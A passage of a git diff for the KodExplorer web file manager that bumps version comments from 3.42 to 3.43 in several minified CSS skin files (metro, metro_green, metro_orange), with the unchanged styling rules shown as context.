endColorstr='#6091ff');background:#6091FF;background-image:-webkit-linear-gradient(top,#84C8FF,#6091FF);background-image:-moz-linear-gradient(top,#84C8FF,#6091FF);background-image:-o-linear-gradient(top,#84C8FF,#6091FF);background-image:-ms-linear-gradient(top,#84C8FF,#6091FF);background-image:linear-gradient(top,#84C8FF,#6091FF);-pie-background:linear-gradient(to top,#84C8FF,#6091FF);text-shadow:-1px -1px 1px #6091FF;}body .aui_buttons button.aui_state_highlight:hover{color:#fff;border-color:#145cff;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#84c8ff', endColorstr='#6091ff');background:#6091FF;background-image:-webkit-linear-gradient(top,#84C8FF,#6091FF);background-image:-moz-linear-gradient(top,#84C8FF,#6091FF);background-image:-o-linear-gradient(top,#84C8FF,#6091FF);background-image:-ms-linear-gradient(top,#84C8FF,#6091FF);background-image:linear-gradient(top,#84C8FF,#6091FF);-pie-background:linear-gradient(to top,#84C8FF,#6091FF);}body .aui_buttons button.aui_state_highlight:active{border-color:#6091FF;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#84c8ff', endColorstr='#6091ff');background:#6091FF;background-image:-webkit-linear-gradient(top,#84C8FF,#6091FF);background-image:-moz-linear-gradient(top,#84C8FF,#6091FF);background-image:-o-linear-gradient(top,#84C8FF,#6091FF);background-image:-ms-linear-gradient(top,#84C8FF,#6091FF);background-image:linear-gradient(top,#84C8FF,#6091FF);-pie-background:linear-gradient(to top,#84C8FF,#6091FF);}body .aui_border{border-radius:5px;overflow:hidden;}body .aui_dialog{background:#fff;border-radius:2px;}body .aui_outer{border-radius:5px;border:1px solid #ccc;-webkit-transition:box-shadow 0.1s;-moz-transition:box-shadow 0.1s;-o-transition:box-shadow 0.1s;-ms-transition:box-shadow 0.1s;transition:box-shadow 0.1s;box-shadow:0 0px 30px rgba(0,0,0,0.2);}body .aui_title{height:27px;line-height:27px;padding:0 16px 0 0px;color:#aaa;background:#f0f0f0;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#f3f3f3', endColorstr='#dddddd');background:#ddd;background-image:-webkit-linear-gradient(top,#f3f3f3,#ddd);background-image:-moz-linear-gradient(top,#f3f3f3,#ddd);background-image:-o-linear-gradient(top,#f3f3f3,#ddd);background-image:-ms-linear-gradient(top,#f3f3f3,#ddd);background-image:linear-gradient(top,#f3f3f3,#ddd);-pie-background:linear-gradient(to top,#f3f3f3,#ddd);border-bottom:1px solid #ccc;text-shadow:0 1px 0 #eee;text-align:center;bottom:0px;height:28px;}body .aui_title img{width:18px;}body .aui_state_focus .aui_title{color:#444;}body .aui_state_focus .aui_outer{box-shadow:0 0px 60px rgba(0,0,0,0.4);border:1px solid #b6b6b6;}body .aui_state_lock .aui_outer{box-shadow:0 3px 30px rgba(0,0,0,0.4);}body .aui_min{right:67px;}body .aui_max{right:40px;}body .aui_close{right:13px;}body .aui_min,body .aui_max,body .aui_close{display:block;position:absolute;text-decoration:none;outline:none;cursor:pointer;font-size:1.25em;-webkit-transition:inherit;-moz-transition:inherit;-o-transition:inherit;-ms-transition:inherit;transition:inherit;color:#aaa;top:4px;border:1px solid #bbb;border-radius:10px;height:18px;width:18px;font-size:1em;line-height:18px;text-align:center;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#eeeeee', endColorstr='#bbbbbb');background:#bbb;background-image:-webkit-linear-gradient(top,#eee,#bbb);background-image:-moz-linear-gradient(top,#eee,#bbb);background-image:-o-linear-gradient(top,#eee,#bbb);background-image:-ms-linear-gradient(top,#eee,#bbb);background-image:linear-gradient(top,#eee,#bbb);-pie-background:linear-gradient(to top,#eee,#bbb);font-family:FontAwesome;}body .aui_min:hover,body .aui_max:hover,body .aui_close:hover{box-shadow:0 1px 0 rgba(255,255,255,0.3), inset 0 1px 2px rgba(255,255,255,0.3);}body .aui_min:active,body .aui_max:active,body .aui_close:active{box-shadow:none;color:#fff !important;}body .aui_close:hover{border:1px solid #c00;color:#800000;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ff1a1a', endColorstr='#cc0000');background:#c00;background-image:-webkit-linear-gradient(top,#ff1a1a,#c00);background-image:-moz-linear-gradient(top,#ff1a1a,#c00);background-image:-o-linear-gradient(top,#ff1a1a,#c00);background-image:-ms-linear-gradient(top,#ff1a1a,#c00);background-image:linear-gradient(top,#ff1a1a,#c00);-pie-background:linear-gradient(to top,#ff1a1a,#c00);}body .aui_min:hover{border:1px solid #EAB11E;color:#ab8010;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#f1c964', endColorstr='#eab11e');background:#EAB11E;background-image:-webkit-linear-gradient(top,#f1c964,#EAB11E);background-image:-moz-linear-gradient(top,#f1c964,#EAB11E);background-image:-o-linear-gradient(top,#f1c964,#EAB11E);background-image:-ms-linear-gradient(top,#f1c964,#EAB11E);background-image:linear-gradient(top,#f1c964,#EAB11E);-pie-background:linear-gradient(to top,#f1c964,#EAB11E);}body .aui_max:hover{border:1px solid #169A1B;color:#0c570f;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#20dd27', endColorstr='#169a1b');background:#169A1B;background-image:-webkit-linear-gradient(top,#20dd27,#169A1B);background-image:-moz-linear-gradient(top,#20dd27,#169A1B);background-image:-o-linear-gradient(top,#20dd27,#169A1B);background-image:-ms-linear-gradient(top,#20dd27,#169A1B);background-image:linear-gradient(top,#20dd27,#169A1B);-pie-background:linear-gradient(to top,#20dd27,#169A1B);}body .aui_max,body .aui_min{display:none;}body div.dialog-simple .aui_title{text-align:left;}body div.dialog-simple .aui_min{right:67px;}body div.dialog-simple .aui_max{right:40px;}body div.dialog-simple .aui_close{right:13px;}body div.dialog-simple .aui_max,body div.dialog-simple .aui_min,body div.dialog-simple .aui_close{background:rgba(255,255,255,0.3);}body .check_version_dialog.dialog-simple .aui_titleBar{margin-top:-120px;}body#page_desktop .topbar{background:#eee;background-color:rgba(190,190,190,0.3);box-shadow:0 0 10px rgba(0,0,0,0.2);}body#page_desktop .topbar .content{border-bottom:1px solid #ddd;border-bottom-color:transparent;}body#page_desktop .topbar .content .topbar_menu{color:#fff;border-color:rgba(190,190,190,0.1);}body#page_desktop .topbar .content .top_right div.share_info_user{color:#fff;}body#page_desktop .topbar .content .open .topbar_menu,body#page_desktop .topbar .content .topbar_menu:hover,body#page_desktop .topbar .content .topbar_menu.this{background:rgba(255,255,255,0.3);}body#page_desktop .fileList_icon .file .filename{margin-top:6px;line-height:1.7em;padding-top:1px;border-radius:18px;background:rgba(0,0,0,0.15);-webkit-transition:none;-moz-transition:none;-o-transition:none;-ms-transition:none;transition:none;}body#page_desktop .fileList_icon .file .filename .title{display:block;overflow:hidden;white-space:nowrap;}body#page_desktop .fileList_icon .file .filename .textarea{margin-left:-1px;}body#page_desktop .fileList_icon .file.file_icon_edit.select .filename,body#page_desktop .fileList_icon .file.file_icon_edit .filename{background:none;}body#page_desktop .fileList_icon .file.select .filename,body#page_desktop .fileList_icon .file.selectDragTemp .filename,body#page_desktop .fileList_icon .file.select.hover .filename{background:rgba(0,0,0,0.2);border:none;margin-left:0px;}body .ztree li a{color:#444;border-radius:3px;margin:0 4px 0 4px;}body .fileList_icon .file{color:#444;}body .file_select{background:#63acff;border-color:transparent;color:#fff;filter:none;}body .file_select .children_open i.font_icon{color:#fff;}body .fileList_list .file,body .fileList_list_split .file{color:#444;-webkit-transition:all 0.15;-moz-transition:all 0.15;-o-transition:all 0.15;-ms-transition:all 0.15;transition:all 0.15;border-radius:0px;-webkit-transition:all 0.2;-moz-transition:all 0.2;-o-transition:all 0.2;-ms-transition:all 0.2;transition:all 0.2;}body .fileList_list .file.select,body .fileList_list .file.selectDragTemp,body .fileList_list_split .file.select,body .fileList_list_split .file.selectDragTemp{background:#63acff;border-color:transparent;color:#fff;filter:none;border-bottom:1px solid #7dbaff !important;}body .fileList_list .file.select .children_open i.font_icon,body .fileList_list .file.selectDragTemp .children_open i.font_icon,body .fileList_list_split .file.select .children_open i.font_icon,body .fileList_list_split .file.selectDragTemp .children_open i.font_icon{color:#fff;}body .fileList_list .file.select .children_more i.font_icon,body .fileList_list .file.selectDragTemp .children_more i.font_icon,body .fileList_list_split .file.select .children_more i.font_icon,body .fileList_list_split .file.selectDragTemp .children_more i.font_icon{color:#fff !important;}body .fileList_list .file.hover,body .fileList_list_split .file.hover{background:#c9e2ff;border-color:transparent;}body .fileList_list .file.hover.select,body .fileList_list .file.hover .selectDragTemp,body .fileList_list_split .file.hover.select,body .fileList_list_split .file.hover .selectDragTemp{background:#63acff;border-color:transparent;color:#fff;filter:none;}body .fileList_list .file.hover.select .children_open i.font_icon,body .fileList_list .file.hover .selectDragTemp .children_open i.font_icon,body .fileList_list_split .file.hover.select .children_open i.font_icon,body .fileList_list_split .file.hover .selectDragTemp .children_open i.font_icon{color:#fff;}body .fileList_list .file.file2{background:#f6f6f6;}body .fileList_list .file.file2.hover{background:#e3f0ff;border-color:transparent;}body .fileList_list .file.file2.hover.select,body .fileList_list .file.file2.hover .selectDragTemp{background:#63acff;border-color:transparent;color:#fff;filter:none;}body .fileList_list .file.file2.hover.select .children_open i.font_icon,body .fileList_list .file.file2.hover .selectDragTemp .children_open i.font_icon{color:#fff;}body .fileList_list .file.file2.select,body .fileList_list .file.file2.selectDragTemp{background:#63acff;border-color:transparent;color:#fff;filter:none;}body .fileList_list .file.file2.select .children_open i.font_icon,body .fileList_list .file.file2.selectDragTemp .children_open i.font_icon{color:#fff;}body .edit_tab .tabs{border-bottom:1px solid #ddd;}body .edit_tab .tabs .tab{background:#f6f6f6;color:#666;}body .edit_tab .tabs .close{opacity:0.05;filter:alpha(opacity=5);text-shadow:none;color:#fff;}body .edit_tab .tabs .tab.hover{background:#eee;}body .edit_tab .tabs .add{background:#ddd;border:1px solid #eee;color:#666;}body .edit_tab .tabs .tab.this{background:#63acff;border-left:1px solid #63acff;margin-left:-1px;border-right-color:#63acff;}body .edit_tab .tabs .tab.this .close{opacity:0.4;filter:alpha(opacity=40);}body .edit_tab .tabs .tab.hover .close{opacity:0.7;filter:alpha(opacity=70);}body .edit_tab .tabs .edit_changed a.close{opacity:1.0;filter:alpha(opacity=100);}body .edit_tab .tabs .tab.this.edit_changed a.close{color:#fff;}body .edit_tab .draggable-dragging{background:#f6f6f6;border-left:3px solid #63acff;margin-left:-3px;}body #body .menu_left .setting a:hover{background:#e1efff;}body #body .menu_left .setting a.selected{background:#e1efff;color:#63acff;padding-left:10px;border:none;border-right:5px solid #63acff;} -/* ver 3.42(2017-04-07) [build 1491589356.8085] */ \ No newline at end of file +/* ver 3.43(2017-04-12) [build 1491999049.6565] */ \ No newline at end of file diff --git a/static/style/skin/metro.css b/static/style/skin/metro.css index dd27a30..ab17165 100755 --- a/static/style/skin/metro.css +++ b/static/style/skin/metro.css @@ -1,3 +1,3 @@ -/* power by kodexplorer ver 3.42(2017-04-07) [build 1491589356.9691] */ +/* power by kodexplorer ver 3.43(2017-04-12) [build 1491999049.8225] */ body{position:absolute;top:0px;left:0px;bottom:0px;right:0px;}body .btn-group .btn{border-radius:0px;}body .dropdown-menu{border-radius:0px;}body .dropdown-menu a:hover,body .dropdown-menu .this a{background:#5579BA;color:#fff;}body#page_desktop .topbar{background-color:rgba(85,121,186,0.5);}body#page_desktop .topbar .content .open .topbar_menu,body#page_desktop .topbar .content .topbar_menu:hover,body#page_desktop .topbar .content .topbar_menu.this{background:rgba(85,121,186,0.3);}body .topbar{background:#5579BA;}body .topbar .content .topbar_menu{border-color:#6082be;}body .topbar .content .open .topbar_menu,body .topbar .content .topbar_menu:hover,body .topbar .content .topbar_menu.this,body .topbar .content .top_right ul a.this{background:#6e8dc4;border-color:#6e8dc4;}body .aui_outer{*border:1px solid #5579BA;border:1px solid #5579BA \0/IE9;}body .aui_outer .aui_state_focus .aui_title,body .aui_outer .aui_title{background:#5579BA;}body .aui_outer .aui_buttons button.aui_state_highlight{background:#5579BA;}body .aui_outer .aui_buttons button.aui_state_highlight:hover{background:#6787c1;}body .aui_outer .aui_buttons button.aui_state_highlight:active{background:#8ba4d0;}body .aui_outer .aui_min:hover,body .aui_outer .aui_max:hover{background:#7996c9;}body .aui_outer .aui_min:active,body .aui_outer .aui_max:active{background:#8ba4d0;}body div.dialog-simple .aui_title{border-radius:0;}body #selContainer{border:1px solid #223454;background-color:#5579BA;}body .header-middle .btn-left-radius,body .header-middle .btn-right-radius,body .frame-header .header-content .header-right .btn-left-radius,body .frame-header .header-content .header-right .btn-right-radius{border-radius:0;}body .frame-main .frame-left{background:#fafafa;}body .frame-main .frame-left .ztree li a{border-color:transparent;}body .frame-main .frame-left .ztree li a:hover{background:#ffd987;border-color:transparent;color:#fff;border-radius:0px;color:#444;border-radius:0;filter:none;}body .frame-main .frame-left .ztree li a.curSelectedNode,body .frame-main .frame-left .ztree li a.curSelectedNode:hover,body .frame-main .frame-left .ztree li a.curDropTreeNode{background:#5579BA;border-color:transparent;color:#fff;border-radius:0px;filter:none;}body .frame-main .frame-left .ztree li a.curSelectedNode .children_open i.font_icon,body .frame-main .frame-left .ztree li a.curSelectedNode:hover .children_open i.font_icon,body .frame-main .frame-left .ztree li a.curDropTreeNode .children_open i.font_icon{color:#fff;}body div.fileContiner .file.file_not_writeable,body .frame-main .frame-left .ztree li a.file_not_writeable{color:#3ec3ff !important;}body .file_select{background:#5579BA;border-color:transparent;color:#fff;border-radius:0px;filter:none;}body .file_select .children_open i.font_icon{color:#fff;}body .file_hover{background:#ffd987;border-color:transparent;color:#fff;border-radius:0px;color:#444;border-radius:0;filter:none;}body div.fileContiner.fileList_list_split .file.file2{background:none;}body div.fileContiner.fileList_list_split .file.select_split_parent{background:#e3f0ff;}body div.fileContiner.fileList_list_split .file.hover{background:#ffd987;border-color:transparent;color:#fff;border-radius:0px;color:#444;border-radius:0;filter:none;}body div.fileContiner.fileList_list_split .file.select.select_split_parent{background:#5579BA;border-color:transparent;color:#fff;border-radius:0px;filter:none;}body div.fileContiner.fileList_list_split .file.select.select_split_parent .children_open i.font_icon{color:#fff;}body div.fileContiner .file.file2{background:#fff8e8;}body div.fileContiner .file.select,body div.fileContiner .file.selectDragTemp{background:#5579BA;border-color:transparent;color:#fff;border-radius:0px;filter:none;}body div.fileContiner .file.select .children_open i.font_icon,body div.fileContiner .file.selectDragTemp .children_open i.font_icon{color:#fff;}body div.fileContiner .file.hover{background:#ffd987;border-color:transparent;color:#fff;border-radius:0px;color:#444;border-radius:0;filter:none;}body div.fileContiner .file.hover.select,body div.fileContiner .file.hover.selectDragTemp{background:#5579BA;border-color:transparent;color:#fff;border-radius:0px;filter:none;}body div.fileContiner .file.hover.select .children_open i.font_icon,body div.fileContiner .file.hover.selectDragTemp .children_open i.font_icon{color:#fff;}body div.fileContiner .file.select.file2,body div.fileContiner .file.selectDragTemp.file2{background:#5579BA;border-color:transparent;color:#fff;border-radius:0px;filter:none;}body div.fileContiner .file.select.file2 .children_open i.font_icon,body div.fileContiner .file.selectDragTemp.file2 .children_open i.font_icon{color:#fff;}body div.fileContiner.fileList_list_split .file.select,body div.fileContiner.fileList_list_split .file.selectDragTemp,body div.fileContiner.fileList_list .file.select,body div.fileContiner.fileList_list .file.selectDragTemp{border-bottom:1px solid #6787c1 !important;}body .context-menu-list{box-shadow:0 10px 40px rgba(0,0,0,0.4);border-radius:0;border:1px solid rgba(0,0,0,0.1);background-clip:padding-box;}body .context-menu-list .context-menu-item{line-height:25px;height:25px;padding:0 15px 0 20px;}body .context-menu-list .context-menu-item.hover,body .context-menu-list .context-menu-item.selected.hover{background:#476caf;}body #body .menu_left,body #body .app_menu_left{background:#476caf;}body #body .menu_left h1,body #body .app_menu_left h1{color:#fff;font-weight:400;}body #body .menu_left .setting a,body #body .app_menu_left .setting a{color:#fff;}body #body .menu_left .setting a:hover,body #body .app_menu_left .setting a:hover{background:#6082be;}body #body .menu_left .setting a.selected,body #body .app_menu_left .setting a.selected{background:#6787c1;border-color:#fff;color:#fff;}body #body .main .list{border-radius:0;}body #body .main .nav a:hover,body #body .main .nav a.this{background:#5579BA;border:1px solid #5579BA;}body .edit_tab .tabs{border-bottom:1px solid #ddd;}body .edit_tab .tabs .tab{background:#f6f6f6;color:#666;}body .edit_tab .tabs .close{opacity:0.05;filter:alpha(opacity=5);text-shadow:none;color:#fff;}body .edit_tab .tabs .tab.hover{background:#eee;}body .edit_tab .tabs .add{background:#ddd;border:1px solid #eee;color:#666;}body .edit_tab .tabs .tab.this{background:#63acff;border-left:1px solid #63acff;margin-left:-1px;border-right-color:#63acff;}body .edit_tab .tabs .tab.this .close{opacity:0.4;filter:alpha(opacity=40);}body .edit_tab .tabs .tab.hover .close{opacity:0.7;filter:alpha(opacity=70);}body .edit_tab .tabs .edit_changed a.close{opacity:1;filter:alpha(opacity=100);}body .edit_tab .tabs .tab.this.edit_changed a.close{color:#fff;}body .edit_tab .draggable-dragging{background:#f6f6f6;border-left:3px solid #63acff;margin-left:-3px;} -/* ver 3.42(2017-04-07) [build 1491589356.9691] */ \ No newline at end of file +/* ver 3.43(2017-04-12) [build 1491999049.8226] */ \ No newline at end of file diff --git a/static/style/skin/metro_green.css b/static/style/skin/metro_green.css index c661c47..b7c5150 100755 --- a/static/style/skin/metro_green.css +++ b/static/style/skin/metro_green.css @@ -1,3 +1,3 @@ -/* power by kodexplorer ver 3.42(2017-04-07) [build 1491589357.0027] */ +/* power by kodexplorer ver 3.43(2017-04-12) [build 1491999049.8635] */ body{position:absolute;top:0px;left:0px;bottom:0px;right:0px;}body .btn-group .btn{border-radius:0px;}body .dropdown-menu{border-radius:0px;}body .dropdown-menu a:hover,body .dropdown-menu .this a{background:#0EA460;color:#fff;}body#page_desktop .topbar{background-color:rgba(14,164,96,0.5);}body#page_desktop .topbar .content .open .topbar_menu,body#page_desktop .topbar .content .topbar_menu:hover,body#page_desktop .topbar .content .topbar_menu.this{background:rgba(14,164,96,0.3);}body .topbar{background:#0EA460;}body .topbar .content .topbar_menu{border-color:#0fb268;}body .topbar .content .open .topbar_menu,body .topbar .content .topbar_menu:hover,body .topbar .content .topbar_menu.this,body .topbar .content .top_right ul a.this{background:#11c573;border-color:#11c573;}body .aui_outer{*border:1px solid #0EA460;border:1px solid #0EA460 \0/IE9;}body .aui_outer .aui_state_focus .aui_title,body .aui_outer .aui_title{background:#0EA460;}body .aui_outer .aui_buttons button.aui_state_highlight{background:#0EA460;}body .aui_outer .aui_buttons button.aui_state_highlight:hover{background:#10bb6e;}body .aui_outer .aui_buttons button.aui_state_highlight:active{background:#14ea89;}body .aui_outer .aui_min:hover,body .aui_outer .aui_max:hover{background:#12d37c;}body .aui_outer .aui_min:active,body .aui_outer .aui_max:active{background:#14ea89;}body div.dialog-simple .aui_title{border-radius:0;}body #selContainer{border:1px solid #02170d;background-color:#0EA460;}body .header-middle .btn-left-radius,body .header-middle .btn-right-radius,body .frame-header .header-content .header-right .btn-left-radius,body .frame-header .header-content .header-right .btn-right-radius{border-radius:0;}body .frame-main .frame-left{background:#fafafa;}body .frame-main .frame-left .ztree li a{border-color:transparent;}body .frame-main .frame-left .ztree li a:hover{background:#ffd987;border-color:transparent;color:#fff;border-radius:0px;color:#444;border-radius:0;filter:none;}body .frame-main .frame-left .ztree li a.curSelectedNode,body .frame-main .frame-left .ztree li a.curSelectedNode:hover,body .frame-main .frame-left .ztree li a.curDropTreeNode{background:#0EA460;border-color:transparent;color:#fff;border-radius:0px;filter:none;}body .frame-main .frame-left .ztree li a.curSelectedNode .children_open i.font_icon,body .frame-main .frame-left .ztree li a.curSelectedNode:hover .children_open i.font_icon,body .frame-main .frame-left .ztree li a.curDropTreeNode .children_open i.font_icon{color:#fff;}body div.fileContiner .file.file_not_writeable,body .frame-main .frame-left .ztree li a.file_not_writeable{color:#3ec3ff !important;}body .file_select{background:#0EA460;border-color:transparent;color:#fff;border-radius:0px;filter:none;}body .file_select .children_open i.font_icon{color:#fff;}body .file_hover{background:#ffd987;border-color:transparent;color:#fff;border-radius:0px;color:#444;border-radius:0;filter:none;}body div.fileContiner.fileList_list_split .file.file2{background:none;}body div.fileContiner.fileList_list_split .file.select_split_parent{background:#e3f0ff;}body div.fileContiner.fileList_list_split .file.hover{background:#ffd987;border-color:transparent;color:#fff;border-radius:0px;color:#444;border-radius:0;filter:none;}body div.fileContiner.fileList_list_split .file.select.select_split_parent{background:#0EA460;border-color:transparent;color:#fff;border-radius:0px;filter:none;}body div.fileContiner.fileList_list_split .file.select.select_split_parent .children_open i.font_icon{color:#fff;}body div.fileContiner .file.file2{background:#fff8e8;}body div.fileContiner .file.select,body div.fileContiner .file.selectDragTemp{background:#0EA460;border-color:transparent;color:#fff;border-radius:0px;filter:none;}body div.fileContiner .file.select .children_open i.font_icon,body div.fileContiner .file.selectDragTemp .children_open i.font_icon{color:#fff;}body div.fileContiner .file.hover{background:#ffd987;border-color:transparent;color:#fff;border-radius:0px;color:#444;border-radius:0;filter:none;}body div.fileContiner .file.hover.select,body div.fileContiner .file.hover.selectDragTemp{background:#0EA460;border-color:transparent;color:#fff;border-radius:0px;filter:none;}body div.fileContiner .file.hover.select .children_open i.font_icon,body div.fileContiner .file.hover.selectDragTemp .children_open i.font_icon{color:#fff;}body div.fileContiner .file.select.file2,body div.fileContiner .file.selectDragTemp.file2{background:#0EA460;border-color:transparent;color:#fff;border-radius:0px;filter:none;}body div.fileContiner .file.select.file2 .children_open i.font_icon,body div.fileContiner .file.selectDragTemp.file2 .children_open i.font_icon{color:#fff;}body div.fileContiner.fileList_list_split .file.select,body div.fileContiner.fileList_list_split .file.selectDragTemp,body div.fileContiner.fileList_list .file.select,body div.fileContiner.fileList_list .file.selectDragTemp{border-bottom:1px solid #10bb6e !important;}body .context-menu-list{box-shadow:0 10px 40px rgba(0,0,0,0.4);border-radius:0;border:1px solid rgba(0,0,0,0.1);background-clip:padding-box;}body .context-menu-list .context-menu-item{line-height:25px;height:25px;padding:0 15px 0 20px;}body .context-menu-list .context-menu-item.hover,body .context-menu-list .context-menu-item.selected.hover{background:#0c8d52;}body #body .menu_left,body #body .app_menu_left{background:#0c8d52;}body #body .menu_left h1,body #body .app_menu_left h1{color:#fff;font-weight:400;}body #body .menu_left .setting a,body #body .app_menu_left .setting a{color:#fff;}body #body .menu_left .setting a:hover,body #body .app_menu_left .setting a:hover{background:#0fb268;}body #body .menu_left .setting a.selected,body #body .app_menu_left .setting a.selected{background:#10bb6e;border-color:#fff;color:#fff;}body #body .main .list{border-radius:0;}body #body .main .nav a:hover,body #body .main .nav a.this{background:#0EA460;border:1px solid #0EA460;}body .edit_tab .tabs{border-bottom:1px solid #ddd;}body .edit_tab .tabs .tab{background:#f6f6f6;color:#666;}body .edit_tab .tabs .close{opacity:0.05;filter:alpha(opacity=5);text-shadow:none;color:#fff;}body .edit_tab .tabs .tab.hover{background:#eee;}body .edit_tab .tabs .add{background:#ddd;border:1px solid #eee;color:#666;}body .edit_tab .tabs .tab.this{background:#63acff;border-left:1px solid #63acff;margin-left:-1px;border-right-color:#63acff;}body .edit_tab .tabs .tab.this .close{opacity:0.4;filter:alpha(opacity=40);}body .edit_tab .tabs .tab.hover .close{opacity:0.7;filter:alpha(opacity=70);}body .edit_tab .tabs .edit_changed a.close{opacity:1;filter:alpha(opacity=100);}body .edit_tab .tabs .tab.this.edit_changed a.close{color:#fff;}body .edit_tab .draggable-dragging{background:#f6f6f6;border-left:3px solid #63acff;margin-left:-3px;} -/* ver 3.42(2017-04-07) [build 1491589357.0027] */ \ No newline at end of file +/* ver 3.43(2017-04-12) [build 1491999049.8635] */ \ No newline at end of file diff --git a/static/style/skin/metro_orange.css b/static/style/skin/metro_orange.css index faa7dce..2dc0db3 100755 --- a/static/style/skin/metro_orange.css +++ b/static/style/skin/metro_orange.css @@ -1,3 +1,3 @@ -/* power by kodexplorer ver 3.42(2017-04-07) [build 1491589357.1075] */ +/* power by kodexplorer ver 3.43(2017-04-12) [build 1491999049.9578] */ body{position:absolute;top:0px;left:0px;bottom:0px;right:0px;}body .btn-group .btn{border-radius:0px;}body .dropdown-menu{border-radius:0px;}body .dropdown-menu a:hover,body .dropdown-menu .this a{background:#FF8F32;color:#fff;}body#page_desktop .topbar{background-color:rgba(255,143,50,0.5);}body#page_desktop .topbar .content .open .topbar_menu,body#page_desktop .topbar .content .topbar_menu:hover,body#page_desktop .topbar .content .topbar_menu.this{background:rgba(255,143,50,0.3);}body .topbar{background:#FF8F32;}body .topbar .content .topbar_menu{border-color:#ff9741;}body .topbar .content .open .topbar_menu,body .topbar .content .topbar_menu:hover,body .topbar .content .topbar_menu.this,body .topbar .content .top_right ul a.this{background:#ffa356;border-color:#ffa356;}body .aui_outer{*border:1px solid #FF8F32;border:1px solid #FF8F32 \0/IE9;}body .aui_outer .aui_state_focus .aui_title,body .aui_outer .aui_title{background:#FF8F32;}body .aui_outer .aui_buttons button.aui_state_highlight{background:#FF8F32;}body .aui_outer .aui_buttons button.aui_state_highlight:hover{background:#ff9d4c;}body .aui_outer .aui_buttons button.aui_state_highlight:active{background:#ffb97f;}body .aui_outer .aui_min:hover,body .aui_outer .aui_max:hover{background:#ffab65;}body .aui_outer .aui_min:active,body .aui_outer .aui_max:active{background:#ffb97f;}body div.dialog-simple .aui_title{border-radius:0;}body #selContainer{border:1px solid #984500;background-color:#FF8F32;}body .header-middle .btn-left-radius,body .header-middle .btn-right-radius,body .frame-header .header-content .header-right .btn-left-radius,body .frame-header .header-content .header-right .btn-right-radius{border-radius:0;}body .frame-main .frame-left{background:#fafafa;}body .frame-main .frame-left .ztree li a{border-color:transparent;}body .frame-main .frame-left .ztree li a:hover{background:#ffd987;border-color:transparent;color:#fff;border-radius:0px;color:#444;border-radius:0;filter:none;}body .frame-main .frame-left .ztree li a.curSelectedNode,body .frame-main .frame-left .ztree li a.curSelectedNode:hover,body .frame-main .frame-left .ztree li a.curDropTreeNode{background:#FF8F32;border-color:transparent;color:#fff;border-radius:0px;filter:none;}body .frame-main .frame-left .ztree li a.curSelectedNode .children_open i.font_icon,body .frame-main .frame-left .ztree li a.curSelectedNode:hover .children_open i.font_icon,body .frame-main .frame-left .ztree li a.curDropTreeNode .children_open i.font_icon{color:#fff;}body div.fileContiner .file.file_not_writeable,body .frame-main .frame-left .ztree li a.file_not_writeable{color:#3ec3ff !important;}body .file_select{background:#FF8F32;border-color:transparent;color:#fff;border-radius:0px;filter:none;}body .file_select .children_open i.font_icon{color:#fff;}body .file_hover{background:#ffd987;border-color:transparent;color:#fff;border-radius:0px;color:#444;border-radius:0;filter:none;}body div.fileContiner.fileList_list_split .file.file2{background:none;}body div.fileContiner.fileList_list_split .file.select_split_parent{background:#e3f0ff;}body div.fileContiner.fileList_list_split .file.hover{background:#ffd987;border-color:transparent;color:#fff;border-radius:0px;color:#444;border-radius:0;filter:none;}body div.fileContiner.fileList_list_split .file.select.select_split_parent{background:#FF8F32;border-color:transparent;color:#fff;border-radius:0px;filter:none;}body div.fileContiner.fileList_list_split .file.select.select_split_parent .children_open i.font_icon{color:#fff;}body div.fileContiner .file.file2{background:#fff8e8;}body div.fileContiner .file.select,body div.fileContiner .file.selectDragTemp{background:#FF8F32;border-color:transparent;color:#fff;border-radius:0px;filter:none;}body div.fileContiner .file.select .children_open i.font_icon,body div.fileContiner .file.selectDragTemp .children_open i.font_icon{color:#fff;}body div.fileContiner .file.hover{background:#ffd987;border-color:transparent;color:#fff;border-radius:0px;color:#444;border-radius:0;filter:none;}body div.fileContiner .file.hover.select,body div.fileContiner .file.hover.selectDragTemp{background:#FF8F32;border-color:transparent;color:#fff;border-radius:0px;filter:none;}body div.fileContiner .file.hover.select .children_open i.font_icon,body div.fileContiner .file.hover.selectDragTemp .children_open i.font_icon{color:#fff;}body div.fileContiner .file.select.file2,body div.fileContiner .file.selectDragTemp.file2{background:#FF8F32;border-color:transparent;color:#fff;border-radius:0px;filter:none;}body div.fileContiner .file.select.file2 .children_open i.font_icon,body div.fileContiner .file.selectDragTemp.file2 .children_open i.font_icon{color:#fff;}body div.fileContiner.fileList_list_split .file.select,body div.fileContiner.fileList_list_split .file.selectDragTemp,body div.fileContiner.fileList_list .file.select,body div.fileContiner.fileList_list .file.selectDragTemp{border-bottom:1px solid #ff9d4c !important;}body .context-menu-list{box-shadow:0 10px 40px rgba(0,0,0,0.4);border-radius:0;border:1px solid rgba(0,0,0,0.1);background-clip:padding-box;}body .context-menu-list .context-menu-item{line-height:25px;height:25px;padding:0 15px 0 20px;}body .context-menu-list .context-menu-item.hover,body .context-menu-list .context-menu-item.selected.hover{background:#ff8119;}body #body .menu_left,body #body .app_menu_left{background:#ff8119;}body #body .menu_left h1,body #body .app_menu_left h1{color:#fff;font-weight:400;}body #body .menu_left .setting a,body #body .app_menu_left .setting a{color:#fff;}body #body .menu_left .setting a:hover,body #body .app_menu_left .setting a:hover{background:#ff9741;}body #body .menu_left .setting a.selected,body #body .app_menu_left .setting a.selected{background:#ff9d4c;border-color:#fff;color:#fff;}body #body .main .list{border-radius:0;}body #body .main .nav a:hover,body #body .main .nav a.this{background:#FF8F32;border:1px solid #FF8F32;}body .edit_tab .tabs{border-bottom:1px solid #ddd;}body .edit_tab .tabs .tab{background:#f6f6f6;color:#666;}body .edit_tab .tabs .close{opacity:0.05;filter:alpha(opacity=5);text-shadow:none;color:#fff;}body .edit_tab .tabs .tab.hover{background:#eee;}body .edit_tab .tabs .add{background:#ddd;border:1px solid #eee;color:#666;}body .edit_tab .tabs .tab.this{background:#63acff;border-left:1px solid #63acff;margin-left:-1px;border-right-color:#63acff;}body .edit_tab .tabs .tab.this .close{opacity:0.4;filter:alpha(opacity=40);}body .edit_tab .tabs .tab.hover .close{opacity:0.7;filter:alpha(opacity=70);}body .edit_tab .tabs .edit_changed 